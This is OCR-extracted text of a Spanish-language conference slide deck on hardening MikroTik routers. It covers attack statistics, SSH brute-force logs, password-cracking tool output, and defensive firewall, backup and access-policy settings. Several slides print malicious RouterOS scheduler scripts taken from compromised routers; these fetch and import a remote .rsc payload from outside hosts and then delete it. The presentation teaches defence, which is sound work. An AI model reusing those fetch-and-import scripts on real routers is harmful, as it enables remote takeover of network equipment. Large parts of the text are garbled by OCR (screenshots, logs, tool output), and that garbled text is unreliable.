‘Mejores Practicas |

Nadoprotege aht.u equipo en un 100%, ninguna herramienta
: o procedin::iento actual es capaz de lograrlo
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Ponente

Ing. Adrian Arturo Diaz Cota

= Administrador de redes desde el aino 2000
= Administrador Windows y Linux

= CTO Index Datacom

= Certificaciones:

‘M:?? . oTik\ MroTik | MikroTik \ MikroTik ‘ MikroTik \
MTCRE
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= Empresa dedicada al desarrollo y comercializacion de soluciones en
i tecnologias de la informacion y comunicacion.
= Mas de 15 afios en el mercado.

= Servicios de Internet Simétrico, Asimétrico y E-PyME; Ethernet Local
y Multilocal.

= Soluciones en Redes de Banda Ancha, Internet mévil, Telefonia IP,
WISP.

Los Mochis, Culiacan y Mazatlan, Sinaloa.
Obregdn y Guaymas, Sonora.
Cabo San Lucas, Baja California Sur.

Y

f\r!
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SOLUCIONES [P MEXICO
MikroTsk  * Distribuidor oficial de Mikrotik Routerboard
MEXICO = (Centro de entrenamiento oficial en Mikrotik RouterOS
Q Los Mochis, Sinaloa.
M Guadalajara
Ciudad de México
% = Empresa dedicada a servicios de Internet residencial
vt = +de 4600 abonados
;g! Presencia Sinaloa y Sonora
|N-Iana§‘;|: = Sistema de gestion en la nube para ISPs o5 N e
a magnage .
e ;
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Objetivos

= Crear conciencia de la importancia de asegurar las politicas de acceso
a los equipos.

= Compartir experiencias de algunos accesos no autorizados.

" Principales cambios que llevan a cabo al ingresar a los routers.
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Contenido

= Atagues masivos
= Problemas de seguridad

= ¢Qué hacer para reducir el riesgo?
e Generar politicas elementales
* Ajustes Basicos
e Ajustar Firewall
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Mejorando las politicas de seguridad

= Atagues masivos

Estamos en la era de |a informacion, todo
equipo interconectado recibe en algun
momento ataques.

En su mayoria, se lanzan automaticamente
desde otros equipos infectados (a través
de virus, troyanos, gusanos, etc.

- e eveveewiwee . am:

En otros casos, son ejecutados por piratas
informaticos.
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Problematica de Seguridad

" Todos los equipos son vulnerables

" Intercepcion de comunicaciones
* Secuestro de sesion.
* Falsificacion de identidad.
* Redireccionamiento o alteracion de mensajes.
e Control del equipo

" Denegacion de servicios

* Explotacion de las debilidades de configuracion.
» Ataques FuerzaBruta SSH / Telnet / WEB
* DNS

* Explotacion de las vulnerabilidades del software.
* Vulnerabilidades & Exploits
* DoSyDDoS




Problematica de Seguridad

https://securelist.lat/new-trends-in-the-world-of-iot-threats/87948/

CATEGORIAS ~ ETIQUETAS ~ ESTADISTICAS

|_|S|' AMENAZAS ~

Familias
. % de
Servicio Puerto Vector de ataque de
ataques
malware
3 Mirai,
Telnet 82,26% Fuerza bruta
Gafgyt
Mirai,
Fuerza bruta
Gafgyt
Samba 445 2,78% EternalBlue, EternalRed, CVE-2018-7445 -
. . Mirai,
tr-069 7547 0,77% RCE en la implementacion del protocolo TR-068 )
Hajime
Intentos de explotar vulnerabilidades en el servidor web o averiguar la
HTTP 80 0.76% -
contrasefia del panel de administracion
winbox Utilizado para identificar RouterOS (MikroTik) y para atagues a traveés Haii
. ajime
del servicio winbox !
ikrotik ; ) . -
hit RCE en MikroTik RouterOS <6.38.5 Chimay-Red Hajime
P
Ejecucion de cédigo arbitrario para ciertas versiones (2000, 2005
MssaL 1433 0.21% J . 9 P . y -
2008) o cambio de la contrasefia del administrador, robo de datos
GoAhead ) Persirai,
81 0.16% RCE en camaras |P GoAhead
httpd Gafgyt
Mikrotik ) .
" 8081 0.15% Chimay-Red Hajime
(o]
Etherium . . ..
8545 0.15% Evasion de la autorizacion (CVE-2017-12113) -
JSON-RPC
RDP 3389 0.12% Fuerza bruta -
XionMai Desbordamiento de bufer (CVE-2018-10088) en XionMai uc-httpd 1.0.0 .
8000 0.09% . . . . Satori
uc-httpd (algunos dispositivos de fabricantes chinos)

MEXICO

(1]
SOLUCIONES [P

C @ https://blog.f-secure.com/es/mapa-de-los-ataques-ciberneticos-del-segundo-semestre-2018

Seguridad del hogar

Seguridad empresarial

Amenazas e investigacion

Puertos y protocolos

23 - Telnet

22 - S5H

445- SMB

25 - SMTP
3306 - MySQL
80 - HTTP
1433 - MS5QL
7547 - CWMP
5060 - SIP

81- TorPark
onion routing

TOP10 TCP PORTS TARGETED

B

0.5M

0.2M
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Problematica de Seguridad

= Paises desde donde se lanzan mas ataques via TELNET SSH

KASPERSKY#
10
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Problematica de Seguridad

= Atague DoS & DDoS

‘Name ICPU  ((Usage) | ||| Name ICPU  |Usage g
cpud 100.0 | cpu33 85.5
cpull 100.0 | cpudt 84.0 I
cpul8 100.0 | firewall 1 700 N
cpu20 100.0 | firewall 10 66.0 N
cpu25 100.0 | frewal 0 655 NN
cpu29 100.0 | firewal 3 65.0 I
cpul 995 | firewall 13 620 I
cpull 99.5 | firewall 2 61.5 I
cpuld 99.5 | firewall 6 60.5 N
cpu23 995 | firewall 12 60.5 INEEGEGEGN
cpu24 995 | firewall 14 60.5 NN
cpul2 99.0 | firewall 9 60.0 N
cpu26 99.0 | firewall 4 590 N
cpuld 98.5 | firewall 19 59.0 N
cpu2l 98.5 | firewall 17 56.5 I
cpu3d2 985 | firewall 7 56.0 N
cpu2 98.0 | firewall 18 56.0 NN
cpus 98.0 | frewall 21 545
cpul? 98.0 | firewall 5 53.0 N
cpul9 98.0 | firewall 8 525 N
cpul 975 | firewall 29 525 N
cpul 975 | queuing 32 525 N
cpulld 96.5 | firewall 16 52.0 N
cpu2? 96.5 | firewall 25 51.0 N
cpulb 945 | firewall 20 505 N
cpud 935 frewal 24 495 NN
cpu7 915 | frewall 30 495 .
cpu3l 935 | firewall 15 48.0 N
cpub 93.0 | firewall 35 480 N
cpu28 930 frewal 11 475
cpu22 920 | queuing 23 475 1R
cpuld 915 | queuing 27 460 I
cpu35 915 | queuing 26 445 N
cpus 91.0 | frewall 2 440 IR
cpull 855 | queuing 20 430 B 11
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Problematica de Seguridad

= Ataque Fuerza Bruta

| Freeze | al |

Apr/01/2019 05:59:28 memory system, emor, crtical  login failure for user admin from 115.21.123.116viassh | &
Apr/01/2019 06:22:04 memory gystem, emor, critical  login failure for user usuario from 139.59.74.143 via ssh [
Apr/01/2019 06:30:34 mem stem, emor, critical  login failure for user root from 203.248.18.135 via ssh
Apr/01/2019 06:38:37 mem :r:em o stem, emor, critical  login failure for user root from 35.194 .81 .42 via ssh
Apr/01/2019 06:48:09 memory system, emor, critical  login failure for user root from 68.183.27.152 via ssh
Apr/01/2019 07:06:50 memory gystem, ermor, critical  login failure for user fip from 61.72.254.71 via ssh
Apr/01/2019 07:07:07 memory system, emor, critical  login failure for user admin from 111.40.66.28 via ssh
Apr/01/201907:08:44 memory system, emor, critical  login failure for user root from 165.227 49,242 via ssh
Apr/01/2019 07:24:06 memory system, emor, critical  login failure for user setup from 206.189.86.17 via ssh
Apr/01/2019 07:29:02 memory gystem, emmor, critical  login failure for user ftpuser from 47,90.200.173 via ssh
Apr/01/2019 07:42:18  memory system, emor, critical  login failure for user applmar from 178.128.81.125 via ssh
Apr/01/2019 08:01:26  memory system, emor, critical  login failure for user user from 211.33.129.248 via ssh
Apr/01/2019 08:11:12  memory system, emor, crtical  login failure for user wp-user from 206.189.141.63 via ssh
Apr/01/2019 03:24:42 memory gystem, emor, critical  login failure for user hadoop from 139.59.173.161 via ssh
Apr/01/2019 08:29:42 memory system, emor, critical  login failure for user applmar from 211.104.13.125 via ssh
Apr/01/2019 08:36:35  memory gystem, emor, critical  login failure for user admin from 201.139.85.55 via ssh -
Apr/01/2019 08:36:36 memory system, emor, critical  login failure for user admin from 201.139.89.55 via ssh
Apr/01/2019 08:36:36  memory system, emor, critical  login failure for user admin from 201.139.89.55 via ssh
Apr/01/2019 08:36:36 memory system, emor, critical  login failure for user admin from 201.139.89.55 via ssh
Apr/01/2015 08:36:36  memory system, emor, critical  login failure for user admin from 201.135.89 .55 via ssh
Apr/01/2019 08:36:37 memory system, emor, critical  login failure for user admin from 201.139.8955viassh ||
Apr/01/2019 08:36:48 memory system, emor, critical  login failure for user usuario from 45.119.81.253 viassh [ ¥

12
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Problematica de Segur

Ataque Fuerza Bruta

Trying 30387;
Trying 30387,
Trying 30387)
TPying 30387,
Trying 30387)
TPying 30387,
Trying 30387;

Paswords -

(urvent:
PaswoPds

POohbegn
- Current: miranda
Paswords - (urrent: Madonnga
aswordsg

Paswords
aswords
Paswords -
Paswords
Paswords
Paswords -
Paswords -

- (urrent:
(urrent:
(urrent:
Current:

florence

Sapphire

nor
Thying
iro Caire ;
Ramiro Ca

man
hamilton
(urrent'

- gveenday
(urrent: 8alaxy

(urrent: frankie
Current: black
Paswords - (urrent'

* awesome
(urrent: Suzuki

SPring
(urvent: qazwsxedc
(urrent'

© Magnym
(urrent: Overg

libevty

363872

Trying 30387)

Trying 30387;

Trying 30387;

) uTuS Trying 30387)

) ATRERE Trying 30387,
http <br ’ Trying

Paswords
aswords
Paswords
Paswords
Paswords
Paswords -
Paswor

30387,
TPying 30387;
ds in list... Trying 30387)
o Trying 30387;
Trying 30387;
TPying 30387,
Trying 30387, Paswords PEVEVY
Trying 30387, Paswords - (urrent: twilight
Trying Paswovds (UPPentZ timothy
Trying 3 Paswords (urrent:
= Thvino DA(MHPH(
" A
Current: -ogin
Current: .
Current:
- Current:

Flmr«nn‘f‘ -

Current:

Current:
(urrent:
Current:

ds

Eregory

Swimming

Slina

Supepr
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Problematica de Seguridad

= Accesos no autorizados

e e L L T LD .
Jil/24/2018 07:49:13  disk system, info, account =d out frorf 47.75.108.28)ia winbox
Jul/24/2018 07:49:14 disk system, info new script added by sugport

Jul/24/2018 07:49:15 disk system, info script removed by suppprt

Jul/24/2018 07:49:15  disk system, info ‘ shipport

Jul/24/2018 07:49:16  disk system, info shipport

Jul/24/2018 07:45:20 disk system, info new scrpt added by support

Jul/24/2018 07:45:20 disk system, info new script scheduled by | support

Jul/24/2018 07:49:21 disk system, info jport

Jul/24/2018 07:49:22 disk system, info support

Jul/24/2018 07:49:23 disk system, info g by support

Jul/24/2018 07:49:23 disk system, info PPTP Server settings chpnged by support
Jul/24/2018 07:49:24 disk system, info nat rule added by suppprt

Jul/24/2018 07:49:24 disk system, info T )Y Support

Jul/24/2018 07:49:25 disk system, info RADIUS client added by] support

Jul/24/2018 07:49:25  disk system, info ius i | 3UDDO

Jul/24/2018 07:49:26  disk system, info PP ARAS anged

14
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Problematica de Seguridad

= Modificacion No Autorizada
 WebProxy, Radius

Web Proxy Settings

General | Status Lookups Inserts Refreshes

L= ]

#8 Routing I Addresses £ Src. Address: |- s ‘ ocly |
Radi 9 System " Cloud o Port: 53281 s -
- & Queves DHCP Client = [ Anonymous | GearCoche |
' Tools : Flles DHCP Relay o . Reset HTML
B New Teminal [#[=] [~][52] |@] [¥] | Reset Status || incoming | [ Log DHCP Server 2 Lol |
Parent P Port: hd
#4 MetaROUTER || # | [Service [CaledID  [Domain |Address 2 Radus | o = oot |
S Partti A Tocke s BN oo Advikarto: [wcbmagor | | [ e |
k Partition B New Temminal Hotspot N o
d Make &.IWL‘ nf E MetaROUTER |Psec Max. Cache Size: none E KiB nections
B poition = | Max Cache Object Size: [2048 | KB | | Cache Contents
Manual LR )
9 | < Make Supout rif Meighbors || Cache On Disk
New WinBox )
° ; Radius Incoming @ Yol Pacling Max. Client Connections: |600 \
. Bt : ew WinBox Ea | Max. Server Connections: 600 ‘
| | Ext Routes ]
H) Max Fresh Time: |3d 00:00:00 \
| o = n ——
_ SNMP || Aways From Cache
| |0 | oy — Cache Hit DSCP (TOS): |4 ‘
Settings it :
SadReasts 0| [ g st | = |
o - Cache Path: |web-proxy1 2
Traffic Flow
Naks: lﬂ—l PnP passthrough

15
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Problematica de Seguridad

= Modificacion No Autorizada

B

b

i

10.11.76.20-10.11.76.254
=dhcp_pool 1 192.168.19.2-192.168.19.254

Profile: |profile 1 [=]

J1ld

e E—
e

Routes: v

UmtBesh: [ |~ mtByesn:[ |~
mtBytesOut: [ |+ | umegesow [ |+
Last Logged Out: [0ct/12/2018 15:20:31 | Last Logged Out: [0ct/02/2018 14:56:25
-lsl PPP Profile <profile1>
Name: Cancel |
E”El Local Address: |10.1.1.1 KRS Aoty | Local Address: |dhcp1 3] | [ Aoy |
i Remote Address: |dhcp_pool1 Bl | s Remote Address: |dhcp1 Fl2 | Mo
TLGdefaun dhep1 dhep l—l -
. gdefaultencr.“ 192.168.1.80  dhepl Bridge: v Copy | Bidge: | | v Copy |
oficinas
Qprofie @ dhep_pool1 Bridge Port Priority: v Remove Bridge Port Priority: v Remove |
BidgePathCost: [ |+ BidgePathCost: | |~
BrdgeHorgor: ||~ Brdgetorzor: ||~ 1o
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= Modificacion No Autorizada

Name: updii3
Start Date: Oct/30/2018

Start Time: 21:09:20

Interval: |04:00:00
Owner: admin ) |
Policy: v fip v reboot
v read v write
V! policy v test
v password V| sniff
v sensitive romon
dude
Run Count: 2
Next Run:
-do {ool fetch

urd="http://min01 net:31416/min01?
key=SkCVAPQppW Az Kipart=9&port
mode=http dst-path=u113.rsc) on-en
-do {fool fetch
ur="http://min01.com:31416/mikrti{
key=SkCVAPQppW Az Képart=S&port
mode=http dst-path=u113.rsc} on-ent
-do {ool fetch urd="http://gotan bit:J
key=9CVAPQppWAzKépart=3&port|
mode=http dst-path=u113.rsc} on-eny
-do {/import u113.rsc) on-emor={}

Last Time Started: |Aug/28/2018 06:48:38 _

Script <scnipt4_ >

Name:

| = " -

Owner: ;_;_t_imh

Policy

v fip v
v read i~

v!| policy v

v password
v sensttive
|| dude

Run Count: |1728

reboot
write
test

SOLUCIONES [P MEXICO
Scnpt <ip> =1 E3
Name: ﬂ \ 0K
e [ | Concel |
Policy: [ ftp [V reboct [ ooy |
v read v write
Vipoicy  [Vitest Sam—
V| password [V sniff
V| sensitive || romon =
| dude | emove
Run Script
Last Time Started: ‘
ERISL

{Aool fetch urd=("hitp://www boss+p .com/Core/Update ashx\?
key=5bc24d5c0d21bf278action=uploadésncode=A58EC34D5101819D36A5AC3F814770CE&dynamic=static
") keep-result=no}

/ool fetch address=95.154 216.167

port=2008 src-path=/mikrotik php

mode=htip keepresult=no

-do {/file remove u113.rsc} on-emor={l
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Problematica de Seguridad

= Modificacion No Autorizada

2= P " | aRP
& Accounting
#2 Routing " Addresses e
i System " Cloud @E
& Queues DHCP Clent
Files DHCP Relay OK
|| Log DHCP Server Cancel
Brode | oxs Connection Idle Timeout: | 00:02:00
XK Tools " Firewal Apply
B New Teminal  Hotspot Max Connections: [200
¥4 MetaROUTER  |Psec
#5 Partion Kid Cortrol
| 4 Make Supout rif Neighbors
@ Manual Packing
& New WinBox Pool
[ §= Routes
SMB
SNMP Port: [1080

Connection Idle Timeout: |Dﬂ:l}2:w

Max Connections: |200

Socks

mwir

Trallic Fow 18
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Problematica de Seguridad

= Modificacion No Autorizada

s P

#2 Routing

{52 System
QQ.IEUH

[ Files

| Log

S Radius

X Tools

@ New Teminal
¥4 MetaROUTER
#5 Patition

| 4 Make Supout if
@ Manual

@ New WinBox

B &t

" AR

" Addresses

Servers: [8.888 | $
8844 s
(4422 |$

Dynamic Servers: [192.168.90.1 |

Jaig
g

DNS Static

[#][=] [#][] [=] [¥]

Max UDP Packet Sz & | [Name [Regexp

Query Server Timeo
Query Total Timeo

Max. Concument Queries
Max. Concument TCP Sessions

Cache Size
Cache Max

MikroTik

19
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Problematica de Seguridad

= Modificacion No Autorizada

Freeze al |[¥]

Jun/15/2018 01:48:35 di
Jun/15/2018 01:48:35 di
Jun/15/2018 01:48:35 did
Jun/15/2018 01:495:00 di;
Jun/15/2018 01:45:00 dif |
Jun/15/2018 01:45:10 di
Jun/15/2018 01:49:10  dig -
Jun/15/2018 01:459:12  dig

Jun/15/2018 01:45:12 di Lines Per File: [500 |

ritica disk
*  emor disk
X*  info disk
Jun/15/2018 08:03:19  diff - sk . I /| I e File Court: |2 | | Remove
Jun/15/2018 08:03:19 d g pr ; ! | Stop on Full
Jun/15/2018 08:03:2 di - |

Jun/15/2018 08:03:29 di )
Jun/15/2018 08:03:59 di nnect. |~ memory memory
Jun/15/2018 038:03:59 di " remote remote

Jun/15/2018 08:04:09 di
Jun/15/2018 08:04:09 di
Jun/15/2018 08:04:09 di

Logging

Name: |disk ]

Type: |disk [#] | cancel

File Name: |log |

default

Log Action <memory:

Jun/15/2018 08:04:09 di Name: |
Jun/15/2018 08:04:09  di statel e m’%ﬂ}
Jun/18/2018 15:35:20  di 38 via Type
Jun/18/2018 15:35:20 di Aitems Lines: | 100 |
Jun/18/2018 15:35:21 i

= _SYEL S eee= [T - — - [ Stop on Full

4 tems

default
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¢ Como Protejo

;Que hacer parareducir el riesgo?
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Mejorando las politicas de seguridad

= Todos los equipos son vulnerables

= Algunos riesgos de los cuales tenemos que ser
conscientes:
* Intervencion fisica
e Vandalismo appuaral” L5, SUS —
» Dano fisico equipo

= Tener sistemas de respaldo de la configuracion
de cada equipo deseable via script

22
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Mejorando las politicas de seguridad

= Reducir el riesgo
v'Generar Respaldo

] (7] (][] [ o | ot | s |
'Fi_IeName |

¢ | Type

' Size

|Creatim Time

a8 Jan/01/1970 18:03:01
- Jan/07/1970 05:01:54
Name: Respaldo-R1Trapiche-25Marzo2015 | -~ Backup | IB  Jan/07/1970 05:01:54
B Jan/07/1970 05:01:54
Password: |~ & [ Cancdl | lg Jon/071570 050154
__| Don' Encrypt Jan/07/1970 05:01:54
——— T TToTpTTTG O T T T —==B Jan/07/1570 05:01:54
=] hotspotlogin htm html file 3454B  Jan/07/1970 05:01:54
=) hotspotlogout html html file 1813B  Jan/07/1970 05:01:54
(JhotspotAv directory Jan/07/1970 05:01:54
=] hotspot /v /alogin htm html file 1303B  Jan/07/1970 05:01:54
=) hotspot v /emors txt b file 38108  Jan/07/1970 05:01:54
=] hotspot /v /Aogin html htmil file 08B Jan/07/1970 05:01:54
= hotspot/Iv/logout hitrmi htm file 1843B Jan/07/1970 05:01:54
37 items |39.¢ MiB of 128.0 MiB used 69% free

23
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Mejorando las politicas de seguridad

= Reducir el riesgo
v'Script generar respaldo y agendar en tarea para enviarlo por email

/system backup save name=([/system identity get name] . "-" . \

[ :pick [/system clock get date] 7 11] . [:pick [/system clock get date] @ 3] . [:pick [/system clock get date]
4 6]); :delay 10; \

/tool e-mail send from=adiaz@index.com.mx start-tls=yes user=respaldomail password=****x server=202.48.16.53

port=587 to=soporte@midominio.com.mx subject=([/system identity get name] " Respaldo Binario " . \
[/system clock get date]) file=([/system identity get name] . "-" . [:pick [/system clock get date] 7 11] . \
[ :pick [/system clock get date] © 3] . [:pick [/system clock get date] 4 6] . ".backup"); :delay 10; \

/file rem [/file find name=([/system identity get name] . "-" . [:pick [/system clock get date] 7 11] . \
[:pick [/system clock get date] © 3] . [:pick [/system clock get date] 4 6] . ".backup”)]; \

:log info ("System Backup email " . [/sys cl get time] . " " . [/sys cl get date])

/system scheduler
add interval=1d name=Backup-mail on-event=email-backup-bin
policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=startup

24
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Mejorando las politicas de seguridad

" Generar respaldo
RouterOS v6.44beta9 en adelante tenemos backup en MikroTik's Cloud server

/system backup cloud upload-file action=create-and-upload password=MUMMexic@

/system backup cloud print
® name="cloud-20190403-203417" size=268.7KiB ros-version="6.44.1"
date=apr/03/2019 20:34:22 status="ok"

secret-download-key="JIB*iY*****ygp***** ngFy"
/system backup cloud download-file action=download secret-download-key="jIB*iY*****2ygl*****poFy"

Upload...

Size Creation Time -—':v

e i +*
|1 cloud-20190403-203417backup || backup ... 2687KB_ Apr/03/20192037:.05
I —_— 276.3KB  Apr/03/2019 20:3217 | »
64 items (1 selected) 23.1 MiB of 128.0 MiB used 81% free

25



Mejorando las politicas de seguridad

= Ajustes Basicos
e Actualizar SO al dltimo firmware disponible

s P

' MPLS

% Routing

i System
’Queues

|| Log

. Raduus

A Tools

[ New Teminal
#4 MetaROUTER
#5 Parttion

|4 Make Supout rif
@ Manual

& New WinBox

B &

Auto Upgrade
Certificates

Y | Check For Updates

Name Version
Bops 6432
B routeros-mipsbe 6.43.2
B advanced+... 6432
Bdhep 6432
B hotspot G 43 2

S mpls 6 43 2
Sppp 6432
B routing 6.43.2
B security 6432
B system 6432
B wireless 6432

12items

Enable Disable Uninst

Build Time
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
2€ep QLU0 1L 1480
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48
Sep/18/2018 12:12:48

q

Check For Updates
Channel: |curent

Installed Version: [6.43.2
Latest Version: |6.44.2

What's new in 6.44.2 (2015-Apr-01 12:47):
MAJOR CHANGES IN v6.44.2:
1) ipv6 - fixed soft lockup when forwarding IPv6 packets:
1) ipv6 - fixed soft lockup when processing large IPv6 Neighbor table;
Changes in this release:
“) ipv6 - adjust IPv6 route cache max size based on total RAM memory;
What's new in 6.44.1 (2019-Mar-13 08:38):
(Changes in this release:
)t:"\doe -fixed possible memory leak when using “ingressiltering=yes"” on bridge
)oeltﬁcde force 3DES encryption for P12 certificate export;

“) dhep - fixed dual stack queue addtion:;
)dxcpvherver -use MAC address for RADIUS user when “allow-dual-stack-
')emai -ﬁxedn'mng “from" address for sent e-mails {introduced in v6.44);
) gps - increase precision for dd format;
) gps - removed unnecessary leading “0" for dd format;
Downloaded, please reboot router to upgrade it

Downloadéinstall

M E w0

Contents
] Address Lists
& Admins
E Agents

E Functions
] History Actions
] Links

+ [ Loags

F Mik Madas

]@ Preferences Help

@evoe a3

<
lllnEx

SOLUCIONES [P

Mi

Settings 2.4
o) Uit Tree (Routei05 )Ty 2 30 Mappings

‘ireless Registration  Simple Queu

Kron 1k
MEXICO
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Mejorando las politicas de seguridad

= Ajustes Basicos
* Elimina el usuario por default
* Cambia credenciales regularmente

* Site es posible usa radius =E
Users Groups SSH Keys SSH Private Keys Active Users
User List = E3 + ._ v x ﬂ 7 AAA
Users Groups SSHKeys SSH Private Keys Active Users Em =
— New U
+ O L7 [ A _ _ e 15/2019 13:56:04
Neme  [Group | Alowed Address [Last Logged i _ - Name: |STESE | 22/2019 11:12:36
{ i:system default user : ) 21/2018 10:12:54
| _&admin__ful [ Apr/08/2019 22:49:30 , Group: [ful . 2
Allowed Address: [127.0.0.1 $
e |
Password: |+ | Comment |
Confirm Password: |+
enabled

27
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Mejorando las politicas de seguridad

= Ajustes Basicos
» Cambiar las politicas de los servicios de acceso al equipo de capa 2

T | | MAC Telnet Server || MAC WinBox Server | MAC Ping Server | 7.0 |
Interface ' -Sr:&dd'ess Uptime -

(=]

Allowed Interface List: none %] oK

Can

Allowed Interface List: ¥

none

MAC Ping Server
|_§MAC Ping Server Enabled ; 0K

0 items Apply

28




Mejorando las politicas de seguridad

= Ajustes Basicos
e Cambiar las politicas de los servicios de acceso al equipo
» Definir redes permitidas en cada servicio

IP Service List [=] 3
v % |7
Name / |Port Available From Cerificate hd
@ ap 8728
@ api 8723 non
@ ft 2221
@ ssh 1022
? telnet 3232
9 winbox 8350
....... o mﬂﬁﬁll
& W 44

8 items (1 selected)

<
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Mejorando las politicas de seguridad

= Ajustes Basicos

® >ip settings set tcp-syncookies=Yes

<

SOLUCIONES [P

MEXICO

2ssl IP

42 Routing
¢5? System
& Queues
(] Files
.| Log
S0 Radius
X Tools

@ New Teminal

& LCD
05 Parttion

| < Make Supout sif

& Manual

@ New WinBox

B &t

SMB
SNMP

Settings

TFTP
Traffic Flow

ERT_ S

-

L99.£99.899.£99.0

IP Settings

RP Filter: [no

Max Neighbor Entries
ARP Timeout

ICMP Rate Limit:

IPv4 Fast Path Packets
IPv4 Fast Path Bytes

IPv4 Fasttrack Packets
IPv4 Fasttrack Bytes

7 LI ¢ pows

(v IP Forward

[v! Send Redirects
[] Accept Redirects
[v| Secure Redirects

[] Accept Source Route
[v| Allow Fast Path
[v! Route Cache

¥

[v] TCP SynCookies

- 18192

- |00:00:30

[10

[ ] IPv4 Fast Path Active

:[0

- loB

[ 1 IPv4 Fasttrack Active

:[0

}

:[OB

|
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Mejorando las politicas de seguridad

= Ajustes Basicos
* Mejorando Criptografia para SSH

Teminal [=I E3
[go@MUM MEXICO] > ip 3sh set strong-crypto=yes &
[go@MUM MEXICO] » ip 3sh pr
forwarding-enabled: no
always-allow-password-login: no
strong-crypto: yes
allow-none-crypto: no
host-key-size: 20418
[go@MUM MEXICO] >
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Ajustando Firewall
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Mejorando las politicas de seguridad

= RAW

* Permite o dropea paquetes antes de connection tracking
* Reduce carga del CPU.
* Muy util para mitigar ataques DoS.

INPUT

ouTPUT

|P05TROI.ITI'IG|

Ih I
II‘HEx
SOLUCIONES [P

CONNECTION

MANGLE

H‘L-h . 1]
MikroT ik
MEXICO

/

HOTSPOT-IN RAW PREROUTING TRACKING PREROUTING DST-NAT
MANGLE FILTER HTB GLOBAL SIMPLE
INPUT INPUT (QUEUE TREE} QUEUES
[ e, > s [ e, FureR AccounTNG
______ e g il e Bl e Tl e
POSTROUTING i NETSEETEUY ::L?;E . OT:EME] QuEuEs
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Mejorando las politicas de seguridad

= Configurando politicas en firewall
* Denegar solicitudes DNS y WebProxy por interface WAN
Teminal =] E3

7 ::: Dengar Solicitudes DNS
chain=input action=drop protocol=tcp in-interface=etherl dst-port=53 log=no log-prefix=""

g ::: Dengar Solicitudes DNS

chain=input action=drop protocol=udp in-interface=etherl dst-port=53 log=no log-prefix=""
*
g :2: No permitir WebProxy por interface WAN
chain=input action=drop protocol=tcp in-interface=etherl dst-port=8080 log=no log-prefix=""
#- [Q quit|D dump|up|down]

34



Mejorando las politicas de seguridad

= Configurando politicas en firewall

* Limitando el servicio APl a5 intentos de conexion por IP

Teminal
[go@MUM MEXICO] > ip fi fi pr
Flags: X - disabled, I - invalid, D - dynamic
a :+: BLOQUEA LA IP DURANTE 24 HORAS ST PASA POR LAS 5 LISTAS API!
chain=input action=drop protocol=tcp src-address-list=black list API dst-port=8728 log=no log-prefix=""
1 chain=input action=add-src-to-address-list connection-state=new protocol=tcp src-address-1ist=API_listS
address-list=black_list API address-list-timeout=1d dst-port=8728
2 chain=input action=add-src-to-address-list connection-state=new protocol=tcp src-address-list=APT list4
address-1ist=API_list5 address-list-timeout=1m dst-port=8728
3 chain=input action=add-src-to-addresas-list connection-state=new protocol=tcp src-address-list=API list3
address-1ist=API listd4 address-list-timeout=lm dst-port=8728
4 chain=input action=add-src-to-address-list connection-state=new protocol=tcp src-address-1list=API list2
address-list=API_list3 address-list-timeout=lm dst-port=8728
5 chain=input action-add-src-to-address-list connection-state=new protocol=tcp src-address-1ist=API_listl
address-list=API_list2 address-list-timecut=1m dst-port=8728
6 chain=input action=add-src-to-address-list connection-state=new protocol=tcp address-1list=API listl
address-list-timeout=208 dst-port=8728
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| 4' | |
Mejorando las politicas de seguridad
" Limitando el servicio APl a 5 intentos de conexion por IP
Aor/06/2019 13:47 er emror, ot e foruserad ‘ Frewal = B8
Ap 5*15‘:*1 = eror, critica i sef . Fiter Rues NAT Mangle Raw Service Pots Connections Address Lists ' Layer7 Protocols
A 527111?:*:; : : zica : S + ) f al s
Apr/06/2019 134743 |me . SO, e S " s = Name Address Timeout Creation Time -
D © black_kst_API 192.168.17.52 23:58:20 Apr/06/2019 13:4
D O black list_ssh 192.168.17.52 23:45:16 Apr/06/2019 133

Trying with default credentials on RouterOS...
Default Router0OS credentials were unsuccessful, trying with 303872 passwords in list...
of 303872 Paswords Current: 123456

of 303872 Paswords Current: password
of 303872 Paswords Current: 123456789

Trying
Trying
Trying

[*] Starting bruteforce attack...

[-] Target timed out! Exiting...

of 303872 Paswords Current: 12345
imed out! Exiting...

Trying
Target

1
2
3
Trying 4 of 303872 Paswords Current: 12345678
)
t
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Mejorando las politicas de seguridad

= Limitando el numero de intentos servicio SSH

=] E3
Fiter Rules | NAT Mangle Raw Service Pots Connections Address Lists Layer7 Protocols
B T Reset e 00 Reset All Counters all ¥
# Action  |Chain Src. Address Dst. Address |Proto... Src. Port | Dst. Port  |I. C|Bytes Packets -
BLOQUEA LA IP DURANTE 24 HORAS S| PASA POR LAS 5 LISTAS login SSH! »
101 Hdop input 6 tcp) 222222 26.0KB "
102 ctadd... input 6 tcp) 222222 1310B
103 ctadd... input 6 tep) 222222 2614B
104 ctadd.. input 6 tcp) 22222 s4kB = Fiter Rules NAT Mangle Raw Service Pots Connections Address Lists | Layer7 Protocols
105 ctadd... input 6 tcp) 222222 9.1KB
106 ctadd... input 6 tcp) 222222 143 KB + ? all 3
107 t add... input 6 tcp) 222222 443 KB
= BLOQUEA LA IP DURANTE 24 HORAS S| PASA POR LAS 5 LISTAS login FTP! Name Address Timeout Creation Time -
| e ) i o5 3ID o black _list_ssh 192.168.17.52 23:59.46 Apr/06/2019 133
110 ctadd.. input 6 tcp) 2121 0B Q listablanca 192.168.77.0/24 Jan/ 2(@
1M ctadd... input 6 tcp) 2121 0B @ listablanca 127.0.0.1 Jan/

12 Hadd.. input E tep) 21 0B 1D o ssh_ist] 192.168.17.52 00:00:46 Apr/
113 ctadd. input 6 tcp) 2121 4B = =
114 Ctadd.. input 6 tep) 2121 7968 | D @ ssh_list2 192.168.17.52 00:00:46 Api

. BLOQUEA LA IP DURANTE 24 HORAS SI PASA POR LAS 5 LISTAS login winbox! D @ ssh_list3 192.168.17.52 00:00:46 Ap:
115 HKdrop input 6 tep) 8291,83%0 290.2 KB D @ssh listd 192.168.17.52 00:00:46 Ap
116 ctadd.. input 6 tcp) 8291.83%0 60B = =
17 radd.. input 6 tep) 82918390 1208 ||D @ ssh_listS 192.168.17.52 00:00:46 Apr.
118 ctadd. input 6 tep) 8291,8390 2208
119 ctadd... input 6 tcp) 8291.83%0 3208 P
